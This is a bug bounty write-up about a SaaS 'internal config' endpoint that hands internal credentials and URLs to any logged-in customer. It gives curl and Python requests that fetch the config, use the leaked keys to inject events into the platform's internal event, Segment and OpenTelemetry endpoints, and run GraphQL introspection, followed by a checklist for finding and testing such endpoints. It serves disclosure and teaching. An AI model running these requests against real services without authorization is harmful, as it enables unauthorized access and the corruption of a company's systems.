July 28, 2026
I Found a Major SaaS Platform’s Internal Credentials by Calling an Endpoint They Forgot to Lock…
There’s a class of vulnerability that doesn’t get enough attention in the bug bounty community. It’s not a SQL injection. It’s not a…

By CypherNova1337
6 min read
There's a class of vulnerability that doesn't get enough attention in the bug bounty community. It's not a SQL injection. It's not a misconfigured S3 bucket. It's not even a classic IDOR.
It's the internal configuration endpoint — the one that serves the frontend application its runtime settings, the one that's supposed to only be called by the app itself, the one that a developer wired up years ago and nobody thought to audit when the product grew into a multi-tenant enterprise SaaS.
This is the story of how I found one of those endpoints, what it handed me, and what I was able to do with what it gave me.
The company is not named. The report is under non-disclosure. All domains are replaced with example.com. All credentials shown have been rotated. The vulnerability is real, and the injections were confirmed.
The Endpoint
When you're doing thorough recon on a SaaS target, one of the things you do is pull the JS bundles and look at what internal paths the frontend calls. Not the public API — the internal routing, the undocumented endpoints, the paths that start with /internal/ instead of /api/v2/.
The JS bundle recon surfaced an endpoint called /internal/config/authenticated.
This endpoint is called by the application when a user logs in. Its job is to bootstrap the frontend — give the React app everything it needs to initialize. It's a reasonable pattern. What it returns should be things like the API base URL, feature flags for the session, the user's account ID.
What it actually returned was significantly more than that.
curl -s https://app.example.com/internal/config/authenticated \
-H "Cookie: session=[ANY_VALID_CUSTOMER_SESSION]"curl -s https://app.example.com/internal/config/authenticated \
-H "Cookie: session=[ANY_VALID_CUSTOMER_SESSION]"Response (excerpt, redacted):
{
"clientSideId": "[PLATFORM_INTERNAL_CLIENT_ID]",
"dogfoodBaseUri": "https://relay-internal-prod.example-internal.com",
"dogfoodStreamUri": "https://relay-internal-prod.example-internal.com",
"dogfoodClientSideEventsUri": "https://events.example-internal.com",
"dogfoodSendEvents": true,
"dogfoodContext": {
"kind": "multi",
"account": {
"key": "[CUSTOMER_ACCOUNT_ID]",
"name": "[CUSTOMER_ACCOUNT_NAME]"
},
"flags": {
"release-automation": {"variation": 1, "version": 19},
"enable-live-events-tab": {"variation": 0, "version": 12},
"enable-github-oauth-sign-up": {"variation": 0, "version": 4},
"live-events-clickhouse-feature-preview": {"variation": 0, "version": 4}
}
},
"segmentWriteKey": "[SEGMENT_WRITE_KEY]",
"newRelicRUMLicenseKey": "[NEW_RELIC_KEY]",
"hockeystackApiKey": "[HOCKEYSTACK_KEY]",
"pubnubSubscribeKey": "[PUBNUB_KEY]",
"observabilityPublicGraphUrl": "https://pub.observability.example-internal.com",
"observabilityPrivateGraphUrl": "https://pri.observability.example.com",
"observabilityOtelUrl": "https://otel.observability.example-internal.com",
"observabilityProjectID": "[INTERNAL_PROJECT_ID]",
"stripePublishableKey": "[STRIPE_KEY]",
"googleOauthClientId": "[GOOGLE_OAUTH_ID]",
"githubOauthClientId": "[GITHUB_OAUTH_ID]"
}{
"clientSideId": "[PLATFORM_INTERNAL_CLIENT_ID]",
"dogfoodBaseUri": "https://relay-internal-prod.example-internal.com",
"dogfoodStreamUri": "https://relay-internal-prod.example-internal.com",
"dogfoodClientSideEventsUri": "https://events.example-internal.com",
"dogfoodSendEvents": true,
"dogfoodContext": {
"kind": "multi",
"account": {
"key": "[CUSTOMER_ACCOUNT_ID]",
"name": "[CUSTOMER_ACCOUNT_NAME]"
},
"flags": {
"release-automation": {"variation": 1, "version": 19},
"enable-live-events-tab": {"variation": 0, "version": 12},
"enable-github-oauth-sign-up": {"variation": 0, "version": 4},
"live-events-clickhouse-feature-preview": {"variation": 0, "version": 4}
}
},
"segmentWriteKey": "[SEGMENT_WRITE_KEY]",
"newRelicRUMLicenseKey": "[NEW_RELIC_KEY]",
"hockeystackApiKey": "[HOCKEYSTACK_KEY]",
"pubnubSubscribeKey": "[PUBNUB_KEY]",
"observabilityPublicGraphUrl": "https://pub.observability.example-internal.com",
"observabilityPrivateGraphUrl": "https://pri.observability.example.com",
"observabilityOtelUrl": "https://otel.observability.example-internal.com",
"observabilityProjectID": "[INTERNAL_PROJECT_ID]",
"stripePublishableKey": "[STRIPE_KEY]",
"googleOauthClientId": "[GOOGLE_OAUTH_ID]",
"githubOauthClientId": "[GITHUB_OAUTH_ID]"
}Let me point out the things that immediately stood out.
The platform's own internal client-side ID. This is the credential their own application uses to connect to their own internal feature flag environment. Not a customer credential. The platform's own identifier for itself.
The platform's internal events ingestion URL. A separate domain — not the one customers use — where the platform routes its own internal analytics.
The Segment write key. Used to track product analytics. If it can accept data, I could write to their Segment workspace.
An OpenTelemetry URL. Their internal observability ingestion endpoint.
The platform's own internal feature flag state. Which internal features are enabled or disabled, what variation each flag is on, what version each flag has reached. A live view into their internal product rollout state, visible to every customer.
The endpoint is called with a customer session cookie. Any paying customer — or anyone who signs up for a free trial — can call it and receive all of this.
What I Did With It
When you find something like this, the first question is: does this actually matter, or is it just interesting? The way to answer that question is to try to do something with what you found.
I had three things worth testing: the internal client-side ID plus events URL, the Segment write key, and the OpenTelemetry URL.
Test 1: Can I inject events into the platform's own internal environment?
Client-side event endpoints on this platform accept POST requests with just the environment ID in the URL path — no additional credential required. That's by design for customer-facing environments where the client-side ID is public. But this wasn't a customer environment. This was the platform's own internal dogfood environment.
import requests
INTERNAL_CLID = "[PLATFORM_INTERNAL_CLIENT_ID]"
INTERNAL_EVENTS = "https://events.example-internal.com"
EVT_HDR = {"X-[Platform]-Event-Schema": "4", "Content-Type": "application/json"}
r = requests.post(
f"{INTERNAL_EVENTS}/events/bulk/{INTERNAL_CLID}",
headers=EVT_HDR,
json=[{
"kind": "identify",
"creationDate": 1785278000000,
"context": {
"kind": "user",
"key": "voidsec-internal-injection-test",
"name": "VoidSec Internal Injection"
}
}])
print(r.status_code) # 202import requests
INTERNAL_CLID = "[PLATFORM_INTERNAL_CLIENT_ID]"
INTERNAL_EVENTS = "https://events.example-internal.com"
EVT_HDR = {"X-[Platform]-Event-Schema": "4", "Content-Type": "application/json"}
r = requests.post(
f"{INTERNAL_EVENTS}/events/bulk/{INTERNAL_CLID}",
headers=EVT_HDR,
json=[{
"kind": "identify",
"creationDate": 1785278000000,
"context": {
"kind": "user",
"key": "voidsec-internal-injection-test",
"name": "VoidSec Internal Injection"
}
}])
print(r.status_code) # 202202 Accepted. Events injected into the platform's own internal environment.
Test 2: Can I inject into their Segment workspace?
import requests
SEGMENT_KEY = "[SEGMENT_WRITE_KEY]"
r = requests.post(
"https://api.segment.io/v1/track",
auth=(SEGMENT_KEY, ""),
json={
"userId": "voidsec-injection-test",
"event": "VoidSec Security Research Test",
"properties": {"test": True}
})
print(r.status_code, r.json())
# 200 {"success": true}import requests
SEGMENT_KEY = "[SEGMENT_WRITE_KEY]"
r = requests.post(
"https://api.segment.io/v1/track",
auth=(SEGMENT_KEY, ""),
json={
"userId": "voidsec-injection-test",
"event": "VoidSec Security Research Test",
"properties": {"test": True}
})
print(r.status_code, r.json())
# 200 {"success": true}200 OK, {"success": true}. Analytics events injected into the platform's internal Segment workspace.
Test 3: Does the OpenTelemetry endpoint accept data?
r = requests.post(
"https://otel.observability.example-internal.com/v1/traces",
headers={"Content-Type": "application/json"},
json={"resourceSpans": []})
print(r.status_code, r.json())
# 200 {"partialSuccess": {}}r = requests.post(
"https://otel.observability.example-internal.com/v1/traces",
headers={"Content-Type": "application/json"},
json={"resourceSpans": []})
print(r.status_code, r.json())
# 200 {"partialSuccess": {}}200 OK, {"partialSuccess":{}}. That's the standard OpenTelemetry Collector acceptance response. Telemetry injected into their internal observability infrastructure.
Three vectors. All confirmed. All using credentials handed to me by an endpoint that any customer can call.
The Bonus Finding
While querying the internal observability endpoints, I ran GraphQL introspection against the private observability URL:
curl -s -X POST https://pri.observability.example.com \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } types { name kind } } }"}'curl -s -X POST https://pri.observability.example.com \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } types { name kind } } }"}'The schema came back. No authentication required.
The types exposed included Account, AccountDetails, AccountDetailsMember, Admin, AIChatLimitStatus, AIConversationHistoryResults, incident management types, session replay types, product analytics event types — a complete internal API surface, fully introspectable without credentials.
Data queries at the resolver level required authentication and returned 401. But the schema itself — including the names of every internal query, mutation, type, and field — was publicly readable. This exposes the complete internal API surface of the platform's observability infrastructure to anyone who knows the URL. And we knew the URL because the config endpoint told us.
The Broader Picture
The full config response also contained:
- The platform's own internal feature flag rollout state — which features are enabled or disabled on their internal instance, at what rollout percentage, with what prerequisites. A live window into internal product decisions.
- Multiple third-party monitoring credentials — Real User Monitoring tokens for Datadog and New Relic, analytics keys, PubNub subscription keys.
- Internal infrastructure URLs — relay proxy domains, observability endpoints, product analytics APIs — all on internal domains not publicly documented.
- The internal name of their frontend codebase, discovered via source map analysis.
Not all of these represent the same level of risk. RUM client tokens and OAuth client IDs are commonly exposed on the client side by design. But serving them through an authenticated /internal/ endpoint alongside genuinely secret internal infrastructure and active credentials is a different matter — and using any of those credentials to successfully inject data into the platform's own systems is the proof.
Why This Happens
Internal configuration endpoints get wired up early in a product's life, when the team is small and the threat model is simple. The endpoint exists to bootstrap the frontend. At that stage, the worst case is probably a user can see the Stripe publishable key — which isn't a big deal.
Then the product grows. Third-party integrations get added. The platform starts using its own product internally. The config endpoint grows to include those integrations' credentials. Internal infrastructure URLs get added. Nobody re-audits what's in the response because the endpoint has been there for years and nobody's complained.
By the time the product is a multi-tenant enterprise SaaS, the config endpoint is returning the company's own internal credentials to every customer who logs in.
This isn't laziness. It's the natural trajectory of a product that evolves faster than its security reviews.
What To Look For
If you're testing a SaaS target:
- Pull the JS bundles and look for
/internal/endpoints. These are designed for internal use but often accessible with customer session cookies. They're frequently less scrutinized than the public API. - Look for config or bootstrap endpoints. Any endpoint whose job is to initialize the frontend is a candidate for over-serving information. Names like
/config,/bootstrap,/init,/settings,/app-configare worth testing. - Pay attention to what the response contains, not just what it returns. A 200 with an account ID is boring. A 200 with third-party API keys and internal infrastructure URLs is a finding.
- Test every credential you find. The question isn't is this key here but does this key work, and can I do something meaningful with it. The Segment write key proved itself in one curl command.
- When you find internal URLs, check if they're reachable. Internal domains exposed in a config response are targets, not just interesting strings. Check if they're accessible from the public internet and what they accept.
Takeaways
Internal configuration endpoints are a consistently underexamined attack surface. They're not in the public API docs. They don't show up in standard bug bounty recon flows that focus on the documented API. They require reading the JavaScript to find.
But when you find them, they tend to over-serve because nobody has thought carefully about who can actually call them and what they should and shouldn't know.
The pattern here — config endpoint exposed to customers, contains internal credentials, credentials allow injection into internal systems — is not unique to this target. It's a pattern that exists wherever a product has grown from simple to complex without auditing what its bootstrap endpoints return.
Go read the JavaScript. Find the internal paths. Call them with a customer session cookie. See what comes back.
Written by CypherNova1337 / VoidSec This article will be updated with program response and full disclosure timeline once the report has been triaged. Company name and all identifying details withheld per non-disclosure agreement.